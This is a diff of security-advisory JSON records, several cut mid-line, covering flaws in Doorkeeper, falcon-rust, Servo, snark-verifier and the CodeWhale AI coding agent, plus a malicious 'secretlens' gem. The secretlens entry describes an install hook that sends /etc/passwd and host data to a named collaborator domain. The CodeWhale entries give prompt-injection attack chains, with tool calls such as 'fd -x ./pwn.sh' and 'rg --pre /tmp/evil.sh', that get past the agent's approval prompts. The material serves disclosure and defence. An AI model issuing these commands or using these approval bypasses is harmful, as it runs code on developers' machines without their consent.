,"0.12.8","0.12.8rc0","0.12.9","0.12.9rc0","0.12.9rc1","0.12.9rc2","0.13.0","0.13.0rc0","0.13.1","0.13.10","0.13.10rc3","0.13.11","0.13.11rc0","0.13.12","0.13.12rc2","0.13.13","0.13.13rc0","0.13.14","0.13.14rc0","0.13.15","0.13.15rc0","0.13.16","0.13.16rc0","0.13.17","0.13.17rc0","0.13.18","0.13.18rc0","0.13.19","0.13.19rc2","0.13.1rc0","0.13.2","0.13.2rc0","0.13.2rc2","0.13.3","0.13.3rc0","0.13.4","0.13.4rc0","0.13.5","0.13.5rc0","0.13.6","0.13.6rc0","0.13.7","0.13.7rc0","0.13.8","0.13.8rc0","0.13.9","0.13.9rc0","0.14.0","0.14.0rc0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.13","0.14.14","0.14.15","0.14.16","0.14.16rc2","0.14.16rc3","0.14.16rc4","0.14.17","0.14.17rc10","0.14.17rc3","0.14.17rc4","0.14.17rc5","0.14.17rc6","0.14.17rc7","0.14.17rc8","0.14.18","0.14.18rc2","0.14.18rc3","0.14.18rc4","0.14.18rc5","0.14.18rc6","0.14.19","0.14.1rc0","0.14.2","0.14.20","0.14.20rc0","0.14.21rc0","0.14.2rc0","0.14.3","0.14.3rc0","0.14.4","0.14.4rc0","0.14.5","0.14.5rc0","0.14.6","0.14.6rc0","0.14.7","0.14.7rc0","0.14.8","0.14.8rc1","0.14.9","0.14.9rc0","0.15.0","0.15.1","0.15.10","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.0rc2","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.2","0.16.3","0.16.4","0.16.6","0.16.7","0.16.8","0.16.9","0.17.1","0.17.10","0.17.11","0.17.12","0.17.13","0.17.14","0.17.15","0.17.16","0.17.17","0.17.17rc0","0.17.18","0.17.19","0.17.2","0.17.20","0.17.21","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.17.8","0.17.9","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.14rc1","0.19.14rc2","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.19.9rc0","0.20.0","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.13rc0","0.20.13rc1","0.20.14","0.20.15","0.20.16","0.20.17","0.20.2","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.1","0.21.10","0.21.11","0.21.12","0.21.13","0.21.14","0.21.14rc0","0.21.2","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22.0","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.2","0.23.2rc1","0.23.2rc2","0.23.2rc3","0.23.2rc4","0.23.3","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9","0.23.9rc0","0.24.0","0.24.1","0.24.10","0.24.11","0.24.12","0.24.13","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.2Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-h5m9-42h9-vcq6","published":"2026-11-19T20:47:25Z","modified":"2026-11-19T21:00:03.977378644Z","aliases":["CVE-2026-115472"],"summary":"Doorkeeper: When using public clients, any client can revoke any access token","details":"### Summary\n\nAn improper authorization issue affects Doorkeeper's OAuth token revocation flow when public (non-confidential) clients are in use. This vulnerability can lead to tokens being revoked without correct authorization. The issue is fixed in Doorkeeper 5.9.1.","affected":[{"package":{"name":"doorkeeper","ecosystem":"RubyGems","purl":"pkg:gem/doorkeeper"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.1"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.0.rc1","0.6.0","0.6.0.rc1","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","1.0.0","1.0.0.rc1","1.0.0.rc2","1.1.0","1.2.0","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","2.0.0","2.0.0.alpha1","2.0.0.rc2","2.0.0.rc3","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.2.0","2.2.1","2.2.2","3.0.0","3.0.0.rc1","3.0.0.rc2","3.0.1","3.1.0","4.0.0","4.0.0.rc1","4.0.0.rc2","4.0.0.rc3","4.0.0.rc4","4.1.0","4.2.0","4.2.5","4.2.6","4.3.0","4.3.1","4.3.2","4.4.0","4.4.1","4.4.2","4.4.3","5.0.0","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.2","5.0.3","5.1.0","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.2.0","5.2.0.rc1","5.2.0.rc2","5.2.0.rc3","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.4.0","5.4.0.rc1","5.4.0.rc2","5.5.0","5.5.0.rc1","5.5.0.rc2","5.5.1","5.5.2","5.5.3","5.5.4","5.6.0","5.6.0.rc1","5.6.0.rc2","5.6.1","5.6.2","5.6.3","5.6.4","5.6.5","5.6.6","5.6.7","5.6.8","5.6.9","5.7.0","5.7.1","5.8.0","5.8.1","5.8.2","5.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-h5m9-42h9-vcq6/GHSA-h5m9-42h9-vcq6.json"}}],"references":[{"type":"WEB","url":"https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-h5m9-42h9-vcq6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115472"},{"type":"WEB","url":"https://github.com/doorkeeper-gem/doorkeeper/pull/1808"},{"type":"WEB","url":"https://github.com/doorkeeper-gem/doorkeeper/commit/ecc1599ed762a9002c3e04729113eff0d562f4b4"},{"type":"PACKAGE","url":"https://github.com/doorkeeper-gem/doorkeeper"},{"type":"WEB","url":"https://github.com/doorkeeper-gem/doorkeeper/releases/tag/v5.9.1"}],"database_specific":{"cwe_ids":["CWE-285"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:47:25Z","nvd_published_at":"2026-11-17T22:18:52Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.9.2","id":"MAL-2026-20213","published":"2026-11-19T13:11:10Z","modified":"2026-11-19T13:15:04.054851632Z","summary":"Malicious code in secretlens (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ossf-package-analysis (fe62a787fc822ed885d6713b3affaf87ac31fb6fb6bbc3660370371de128bfc3)\nThe OpenSSF Package Analysis project identified 'secretlens' @ 1.0.1 (rubygems) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"secretlens","ecosystem":"RubyGems","purl":"pkg:gem/secretlens"},"versions":["1.0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/secretlens/MAL-2026-20213.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-19T13:11:27.401171148Z","modified_time":"2026-11-19T13:11:10Z","sha256":"fe62a787fc822ed885d6713b3affaf87ac31fb6fb6bbc3660370371de128bfc3","source":"ossf-package-analysis","versions":["1.0.1"]}]},"credits":[{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2026-20213","published":"2026-11-19T13:11:10Z","modified":"2026-11-19T18:45:05.428006212Z","summary":"Malicious code in secretlens (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f15898924939d0d1445af53ec9d849b9715390d99f6d3ae724ccbf07e73edb2b)\nThe gem declares ext/mkrf_conf.rb as a native extension, which causes it to auto-execute during `gem install`. The script performs no build work; instead it collects the installer's current working directory, home directory, hostname, login name, and the contents of /etc/resolv.conf, /etc/passwd, and /etc/hosts, encodes them as JSON, and POSTs them over TLS via a raw TCPSocket to the hardcoded out-of-band host o4tu99b5grs2rvps0y4epz6bt2ztrhh56.oastify.com:443 (a Burp Collaborator / interactsh subdomain). It then writes lib/.installed as a sentinel. There is no legitimate native-extension source tree accompanying the declared extension; the extension slot exists solely to run the beacon.\n\n## Source: ossf-package-analysis (fe62a787fc822ed885d6713b3affaf87ac31fb6fb6bbc3660370371de128bfc3)\nThe OpenSSF Package Analysis project identified 'secretlens' @ 1.0.1 (rubygems) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"secretlens","ecosystem":"RubyGems","purl":"pkg:gem/secretlens"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"86066a746322f842c3e9e8fb98c88682803cf79c21429e17aee514668f2f43ac","tlsh":"8511329c57557cb0bb5784aff20d20422497df4ac50956617e9908a0cf6eb2c3321dfa"}],"package_integrity":[{"filename":"secretlens-1.0.1.gem","hashes":{"sha256":"0a5254a2cca4bb80d01c34a862c114a8576366399243ce55bab6862a9db78621"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/secretlens/MAL-2026-20213.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/secretlens/versions/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-19T13:11:27.401171148Z","modified_time":"2026-11-19T13:11:10Z","sha256":"fe62a787fc822ed885d6713b3affaf87ac31fb6fb6bbc3660370371de128bfc3","source":"ossf-package-analysis","versions":["1.0.1"]},{"id":"IN-MAL-2026-022891","import_time":"2026-11-19T18:14:26.493997751Z","modified_time":"2026-11-19T18:12:45Z","sha256":"f15898924939d0d1445af53ec9d849b9715390d99f6d3ae724ccbf07e73edb2b","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-25rm-9wvm-m38v","published":"2026-11-20T00:17:04Z","modified":"2026-11-20T00:30:06.809056671Z","aliases":["CVE-2026-77382"],"summary":"falcon-rust: Discrete-Gaussian sampler runs at 2^-33 precision, far below Falcon's requirement (reference KAT vectors no longer pass)","details":"**Reporter:** Connor Webber\n**Package:** `falcon-rust` (crates.io), repository `github.com/aszepieniec/falcon-rust`\n**Affected:** v0.1.3 and the current `master` (HEAD `cfa1b35`). Regression introduced in commit `bf2cf00`.\n**Component:** discrete-Gaussian sampler, `src/samplerz.rs` (`approx_exp`, `ber_exp`, `sampler_z`)\n**Status:** Confirmed by source review and by empirical measurement of the crate's own compiled code.\n\n## Summary\n\nfalcon-rust's discrete-Gaussian rejection sampler evaluates its `exp()` acceptance step at only 32 bits of fractional precision. Measured directly against the crate's own compiled code, `approx_exp` has a maximum relative error of 2^-33. For comparison, the Falcon reference implementation achieves about 2^-63, and the f64 code this crate replaced achieved about 2^-52. The current sampler is therefore roughly 2^19 (about 500,000x) less precise than the version it replaced, and about 2^30 less precise than the reference.\n\nFalcon's security proof relies on the sampled signatures being statistically indistinguishable from an ideal discrete Gaussian, so the signature transcript leaks nothing about the secret trapdoor. That guarantee holds only when the sampler's relative error stays small enough, over the roughly 2^64 signature budget, to keep the Renyi divergence between the real and ideal distributions negligible. The precision the security analysis relies on is cited in the literature between roughly 2^-40 and 2^-46 (for example the FACCT and isochronous-sampling analyses). At 2^-33 the sampler is below every value in that range, roughly 128x to 4096x too coarse depending on which bound you take, so the precondition the proof depends on is not met.\n\nThere is a second, bound-independent piece of evidence that removes any ambiguity: the crate's sampler can no longer reproduce Falcon's known-answer test (KAT) vectors, which are the authoritative correctness oracle. Rather than restore the precision, the maintainers loosened their own test tolerance and noted that \"rejection decisions may differ at the boundary.\" The regression is already visible in-tree; its security significance was simply not recognized.\n\nBecause the sampler's sigma is derived from the secret basis Gram-Schmidt norms, the resulting distribution deviation is secret-dependent. The `exp` function itself is public, but its inputs, and therefore the deviation, depend on secret quantities. This is the class of flaw that statistical and hidden-number-problem learning attacks on biased Gaussian samplers target.\n\nThe crate's own documentation describes this sampler as \"side-channel-hardened\" and notes that \"the sampler defines the secret-key distribution, so getting it wrong weakens the cryptography,\" which is exactly the property this defect touches.\n\n## Technical detail\n\nRoot location: `src/samplerz.rs`\n\n* `FixedPoint64 = FixedPoint<i64>` with `FRAC_UNIT = 1 << 32`, i.e. 32 fractional bits (`src/fixed_point.rs`). The crate already defines `FixedPoint128` with 64 fractional bits, the correct-precision type, but the sampler uses `FixedPoint64`.\n* `approx_exp` (`samplerz.rs:34`) evaluates the FACCT polynomial, whose coefficients are the correct 63-bit constants, but at line 59 it does `let z: u64 = (x.0 as u64) << 31;`. This takes the 32-bit-precision argument and zero-fills the low 31 bits into a 63-bit word, so the polynomial is evaluated at an argument quantized to 2^-32.\n* `sampler_z` computes `dss = 0.5 * isigma^2` and `ccs = sigma_min * isigma` in this 32-bit type, where `sigma` is the per-leaf value derived from the secret basis Gram-Schmidt norms (ffSampling). The precision loss therefore lands on secret-dependent quantities.\n\nRegression: commit `bf2cf00` (\"Eliminate f64 from key generation via generic FixedPoint<T>\") replaced the prior f64 sampler. `git show bf2cf00^:src/samplerz.rs` shows the old `fn approx_exp(x: f64, ccs: f64)` operating at 63-bit scale. The change landed before the 0.1.3 release. The maintainers then re-pinned their tests to the degraded output and loosened the tolerance, and the Falcon KAT vectors no longer pass.\n\n## Proof of concept (self-contained, reproducible)\n\nAppend the following module to `falcon-rust/src/samplerz.rs` and run:\n\n`cargo test -p falcon-rust --release dump_approx_exp_precision -- --nocapture`\n\nIt calls the crate's own `approx_exp` and measures its maximum relative error against true `exp()` over the sampler's input domain `[0, ln 2]`.\n\n```rust\n#[cfg(test)]\nmod prec_test {\n use super::*;\n #[test]\n fn dump_approx_exp_precision() {\n let n: u64 = 500000;\n let mut maxrel = 0.0f64;\n let Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3mgh-93r5-r7jf","published":"2026-11-19T22:48:14Z","modified":"2026-11-19T23:00:36.642645468Z","aliases":["CVE-2026-83816"],"summary":"CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE","details":"### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.\n\n## Summary\nThe interactive Agent profile of DeepSeek-TUI (CodeWhale) is explicitly documented to gate **every** shell command behind an approval prompt (config.rs:3725-3736). However, `ExecShellTool::approval_requirement_for(&tool_input)` downgrades the requirement from `Required` to `Auto` for any command the classifier deems \"parallel read-only\" (shell.rs:2314-2320). `registered_tool_approval_required` returns `false` for `Auto` **before** the `auto_approve` check runs (turn_loop.rs:37-38), so no prompt is shown even for a user who never enabled YOLO. The classifier `is_parallel_readonly_command` (command_safety.rs:389) rejects only shell metacharacters and then matches the flag-stripped base command name against an allowlist that includes `fd`, `rg`, and `git grep`. Those tools execute arbitrary external programs through documented flags (`fd -x/--exec`, `rg --pre`, `git grep --open-files-in-pager`) that need **no** shell metacharacters — yielding silent arbitrary-program execution in the default profile. Same silent-RCE class as CVE-2026-45311 (run_tests) but via a different, unpatched tool and code path.\n\n## Root Cause\n`approval_requirement_for` downgrades `exec_shell` to `Auto` when `exec_shell_input_is_parallel_readonly` returns true (shell.rs:2314-2320). The classifier strips all flags and matches the base command name against `PARALLEL_READONLY_PREFIXES` (command_safety.rs:363-385, 419-433). `fd`/`rg` are absent from `COMMAND_ARITY`, so `fd -x cp {} /tmp/exfil` canonicalizes to `\"fd\"` ∈ allowlist. The only remaining gate at the execute sink is `analyze_command`, which rates `fd`/`rg` as `Safe` (SAFE_COMMANDS command_safety.rs:527,530), so the `SafetyLevel::Dangerous`-only block (shell.rs:2408) never fires. Default execpolicy is empty (engine.rs:494) → Skip. Interactive-origin auto_review safety_floor holds only `Publish` (auto_review.rs:344-357), not interactive shell.\n\n## Impact\nArbitrary external program execution (any binary, any argv, including a repo-committed script) on the developer host, with no approval prompt, in the default interactive Agent profile — bypassing the boundary config.rs:3725-3736 explicitly promises. Identical outcome to seed CVE-2026-45311 via a different, unpatched tool.\n\n## Proof of Concept\nModel coerced (via indirect prompt injection from repo file / issue / fetched page — the seed threat model, in scope per SECURITY.md:48) to emit:\n```json\n{\"name\":\"exec_shell\",\"arguments\":{\"command\":\"fd -u -tf -x ./pwn.sh\"}}\n```\nAlternatives (all metachar-free, all auto-approved): `fd -tf -x cp {} /tmp/exfil`; `rg --pre /tmp/evil.sh --pre-glob '*' needle .`; `git grep --open-files-in-pager=/tmp/evil.sh needle`.\n\n## Attack Chain\n1. **Entry.** Agent ingests attacker-controlled content; injected instruction coerces the model to emit `exec_shell {\"command\":\"fd -u -tf -x ./pwn.sh\"}`.\n - **Guard:** none — reading content and model tool-calls are by design (seed threat model: indirect prompt injection).\n - **Bypass proof:** n/a (in-scope by design per SECURITY.md:48).\n2. **Gate — approval requirement.** turn_loop.rs:1738 → `spec.approval_requirement_for(&input)` → shell.rs:2314-2320 `exec_shell_input_is_parallel_readonly`.\n - **Guard:** metachar filter (command_safety.rs:394-400) + base-name allowlist.\n - **Bypass proof:** the string contains none of `; & | > < \\` $(` or newlines; `-x <program> <args>` is `fd`'s own exec mechanism (no shell). `classify_command` strips `-u -tf -x`, positionals `[fd, ./pwn.sh]`; `fd` ∉ `COMMAND_ARITY` → canonical `\"fd\"` ∈ `PARALLEL_READONLY_PREFIXES` → returns true. Maintainer test `parallel_readonly_command_classifier_is_strict` (command_safety.rs:1162+) confirms bare `fd`/`rg` classify parallel-readonly.\n3. **Gate — prompt decision.** `registered_tool_approval_required(name, Auto, auto_approve)`.\n - **Guard:** the approval prompt itself.\n - **Bypass proof:** `requirement == Auto` returns `false` at turn_loop.rs:37-38 unconditionally, before `!auto_approve`. No prompt regardless of user settings. Empty execpolicy → Skip; interactive safety_floor returns NoChange for fd.\n4. **Sink.** `ExecShellTool::execute` (shell.rs:2334) → `analyze_command`.\n - **Guard:** `SafetyLevel::Dangerous` block (shell.rs:2408).\n - **Bypass proof:** `fd` ∈ `SAFE_COMMANDS` (command_safety.rs:530) → `analLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-8hp3-xxrg-v9c8","published":"2026-11-19T22:47:33Z","modified":"2026-11-19T23:00:36.646795780Z","aliases":["CVE-2026-83817"],"summary":"CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution","details":"### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.\n\n## Summary\nCVE-2026-45374 (GHSA-72w5-pf8h-xfp4) hardened the task path so auto-approval must be opted into explicitly: `add_task` uses `req.auto_approve.unwrap_or(false)` (task_manager.rs:868). The automation subsystem was not hardened in kind. `AutomationRecord::task_auto_approve()` resolves an omitted `auto_approve` to `DEFAULT_AUTOMATION_AUTO_APPROVE = true` (automation_manager.rs:29, 101-103), and `enqueue_run_task` builds the `NewTaskRequest` with `auto_approve: Some(automation.task_auto_approve())` — i.e. an explicit `Some(true)` (automation_manager.rs:766). Because the field is `Some`, `unwrap_or(false)` returns `true` and the seed-2 default is bypassed. That `true` propagates to `ApprovalMode::Bypass` (runtime_threads.rs:2253), where the background approval loop auto-approves every tool call with no human present (runtime_threads.rs:3383-3416). One approved `automation_create` becomes a durable, recurring, fully auto-approved agent. Same insecure-default class as CVE-2026-45374, on a different, unpatched subsystem.\n\n## Root Cause\nSibling durable defaults in the same struct are safe — `DEFAULT_AUTOMATION_ALLOW_SHELL = false` and `DEFAULT_AUTOMATION_TRUST_MODE = false` (automation_manager.rs:27-28) — while `DEFAULT_AUTOMATION_AUTO_APPROVE` alone defaults `true` (:29). `create_automation` stores `auto_approve: None` when omitted (:422); `task_auto_approve()` resolves `None`→`true` (:101-103); `enqueue_run_task` passes `Some(true)` (:766), defeating `add_task`'s `unwrap_or(false)` seed fix. The `automation_create` tool schema also declares `\"auto_approve\": {\"type\":\"boolean\",\"default\":true}` (tools/automation.rs:49) while sibling `allow_shell`/`trust_mode` default `false`.\n\n## Impact\nA single approved `automation_create` yields a durable, recurring, fully auto-approved agent. Every scheduled fire silently authorizes mutating tools (file writes, apply_patch, git, MCP writes) with no prompt; combined with `allow_shell:true` in the create call, recurring silent RCE with no human present. Even without `allow_shell`, every recurring run silently authorizes all non-shell mutating tools. Same class as seed CVE-2026-45374.\n\n## Proof of Concept\nPrompt injection convinces the model to create a benign-sounding recurring job (single human approval on the `automation_create` call):\n```json\n{\"name\":\"automation_create\",\"arguments\":{\n \"name\":\"nightly-maintenance\",\n \"prompt\":\"Fetch latest and run project setup script\",\n \"rrule\":\"FREQ=HOURLY;INTERVAL=1\",\n \"allow_shell\":true\n}}\n```\n(`auto_approve` omitted → stored `None` → resolves to `true` on every run.)\n\n## Attack Chain\n1. **Entry.** Prompt injection → model creates a recurring job via `automation_create` with `auto_approve` omitted.\n - **Guard:** `automation_create` is `Required` (tools/automation.rs:61-63) — user sees ONE approval prompt.\n - **Bypass proof:** the prompt describes an innocuous automation; the schema hides `\"auto_approve\": {\"default\": true}` (tools/automation.rs:49). Approving \"create a scheduled job\" is not informed consent to \"every future run bypasses all approval prompts.\" The resolved `auto_approve=true` (omitted field) is not surfaced.\n2. **Persist.** `create_automation` stores `auto_approve: None` (automation_manager.rs:422).\n - **Guard:** none.\n - **Bypass proof:** `None` is later resolved to `true`, not `false`.\n3. **Fire.** Headless scheduler tick (`scheduler_tick_shared`, no human) or `automation_run` invokes `enqueue_run_task`, which sets `auto_approve: Some(true)` (automation_manager.rs:766).\n - **Guard:** seed-2's hardened `add_task` default `unwrap_or(false)` (task_manager.rs:868).\n - **Bypass proof:** the value is `Some(true)`, so `unwrap_or(false)` yields `true` — the hardened default never applies.\n4. **Sink.** Background worker builds the turn with `auto_approve=true` → `ApprovalMode::Bypass` (runtime_threads.rs:2253); the approval loop auto-approves (runtime_threads.rs:3383-3416).\n - **Guard:** auto_review safety_floor.\n - **Bypass proof:** safety_floor holds only `Publish` (any origin) and `Destructive/Secret` (background/headless) (auto_review.rs:344-357); ordinary `write_file`/`apply_patch`/`edit_file`/non-destructive `exec_shell` are NOT held → they run unattended. With `allow_shell:true`, every scheduled run additionallyLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-pxh3-4qqv-58mg","published":"2026-11-19T20:45:22Z","modified":"2026-11-19T21:00:03.954494184Z","aliases":["CVE-2026-61713"],"summary":"Servo Sandbox bypass: declarative refresh can auto-navigate a sandboxed iframe","details":"A sandboxed iframe can auto-navigate itself via declarative refresh even when automatic features should be blocked. This allows attacker-controlled embedded content to redirect itself without user action.\n\n### Summary\nServo allows a sandboxed iframe to auto-navigate itself via declarative refresh in configurations that should block automatic features.\n\nThe issue reproduces in the must-block rows of the matrix:\n\n- `sandbox=\"\"`\n- `sandbox=\"allow-same-origin\"`\n- `sandbox=\"allow-forms\"`\n- `sandbox=\"allow-same-origin allow-forms\"`\n\nThis is a client-side sandbox-policy bypass. It does not by itself prove script execution or parent DOM access, but it does let attacker-controlled sandboxed content redirect itself without user action.\n\n### Details\nThe declarative refresh path is missing sandbox enforcement:\n\n- [components/script/dom/document/document.rs:239] `RefreshRedirectDue::invoke()` contains `TODO: check sandbox`\n- [components/script/dom/document/document.rs:4522] the refresh scheduler contains `TODO: handle active sandboxing flag`\n\nThe implementation currently schedules and executes the refresh without enforcing the sandboxed automatic-features restriction described by the HTML spec comments in the same code.\n\nWhat I observed:\n\n- In Servo, the must-block rows above navigated successfully.\n- In Chrome, the same rows were blocked.\n\n### PoC\nServe the HTML files in this folder over HTTP.\n\nFiles:\n- [child.html](https://github.com/user-attachments/files/27770907/child.html)\n- [success.html](https://github.com/user-attachments/files/27770910/success.html)\n- [viewer.html](https://github.com/user-attachments/files/27770911/viewer.html)\n\nSteps:\n\n1. Open `viewer.html` over HTTP.\n2. The page shows a visible sandboxed iframe.\n3. In a correct browser, the iframe stays on `child.html`.\n4. In Servo, the iframe visibly turns into the `success.html` page.\n\n### Impact\nThis is a client-side sandbox-policy bypass.\n\nConfirmed impact:\n\n- autonomous iframe self-navigation in sandbox configurations that should block it\n- framed phishing / content swap after initial render\n- redirect loops / annoyance / limited DoS","affected":[{"package":{"name":"servo","ecosystem":"crates.io","purl":"pkg:cargo/servo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pxh3-4qqv-58mg/GHSA-pxh3-4qqv-58mg.json"}}],"references":[{"type":"WEB","url":"https://github.com/servo/servo/security/advisories/GHSA-pxh3-4qqv-58mg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61713"},{"type":"WEB","url":"https://github.com/servo/servo/pull/45116"},{"type":"WEB","url":"https://github.com/servo/servo/commit/70df09e72f40fab45493ffee3821e7a1a31ae4d2"},{"type":"PACKAGE","url":"https://github.com/servo/servo"},{"type":"WEB","url":"https://github.com/servo/servo/releases/tag/v0.3.0"}],"database_specific":{"cwe_ids":["CWE-693"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:45:22Z","nvd_published_at":"2026-11-17T22:19:20Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-x26x-7f4v-cqx7","published":"2026-11-20T00:01:59Z","modified":"2026-11-20T00:15:06.390186715Z","aliases":["CVE-2026-62337"],"summary":"snark-verifier: Halo 2 aggregation circuit mishandles point-at-infinity proof elements","details":"### Summary\nThe Halo 2 aggregation circuit could mishandle proof elements encoded as the point at infinity.\n\nWhen an assigned proof point appeared in an MSM term with constant scalar one, the Halo 2 loader used a scalar-one shortcut that passed the assigned point directly into the EC sum helper. The EC sum implementation used by that path assumed its inputs were non-identity points, while assigned proof points could represent the encoded identity `(0, 0)`.\n\n### Details\n`EcPointLoader::multi_scalar_multiplication` partitions MSM terms by scalar and base type. For `(Value::Constant(ONE), Value::Assigned(_))`, the loader placed the assigned base into the non-scaled variable-base list and later passed those points to `sum_with_const`.\n\nThe default Halo 2 shim delegates `sum_with_const` to halo2-lib `EccChip::sum`. In affected versions, that sum helper used incomplete affine addition and assumed that every input point was non-identity. A prover-controlled proof point encoded as `(0, 0)` could therefore enter the final aggregation sum through the scalar-one shortcut and affect the MSM or accumulator computation.\n\nThe issue was fixed in halo2-lib by updating `EccChip::sum` to treat encoded identity inputs as no-ops and to return `(0, 0)` when the total sum is the identity. This removes the non-identity input precondition from callers such as the Halo 2 aggregation loader.\n\n### Impact\nRecursive aggregation circuits using the Halo 2 loader could compute an MSM or accumulator with an identity proof element in a path whose implementation assumed non-identity inputs. This breaks the expected handling of point-at-infinity proof elements in aggregation.\n\nPractical exploitability depends on the surrounding aggregation and final-decider checks, so this is rated medium severity.","affected":[{"package":{"name":"snark-verifier","ecosystem":"crates.io","purl":"pkg:cargo/snark-verifier"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.6"}]}],"database_specific":{"last_known_affected_version_range":"< 